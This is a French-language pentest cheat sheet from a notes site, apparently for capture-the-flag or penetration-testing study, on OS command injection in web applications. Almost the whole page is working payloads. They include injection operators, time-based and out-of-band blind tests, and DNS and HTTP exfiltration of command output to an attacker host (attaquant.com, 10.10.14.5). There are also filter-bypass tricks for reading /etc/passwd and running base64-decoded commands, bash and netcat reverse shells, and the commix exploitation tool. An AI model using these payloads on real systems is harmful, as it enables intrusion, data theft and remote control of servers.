Whackermelon
notes / attaques-applications-web / injection-de-commandes

Injection de commandes

sommaire

Opérateurs & détection

; id            # separateur
| id            # pipe
|| id           # OU (si la 1ere echoue)
&& id           # ET
`id`   $(id)    # substitution de commande
%0a id          # saut de ligne (encode URL)

Injection aveugle (blind)

; sleep 5                                   # time-based
; ping -c 3 10.10.14.5                      # out-of-band (ICMP)
; nslookup $(whoami).attaquant.com          # exfiltration DNS
; curl http://10.10.14.5/$(id | base64)     # exfiltration HTTP

Contournement de filtres

cat${IFS}/etc/passwd        # espace filtre -> ${IFS}
c""at /etc/passwd           # quotes au milieu
/bin/c'a't /etc/passwd
who$@ami                    # $@ ignore
echo aWQK | base64 -d | bash

Reverse shell & outil

; bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
; busybox nc 10.10.14.5 443 -e /bin/bash
commix -u 'http://site/?q=test'        # exploitation automatique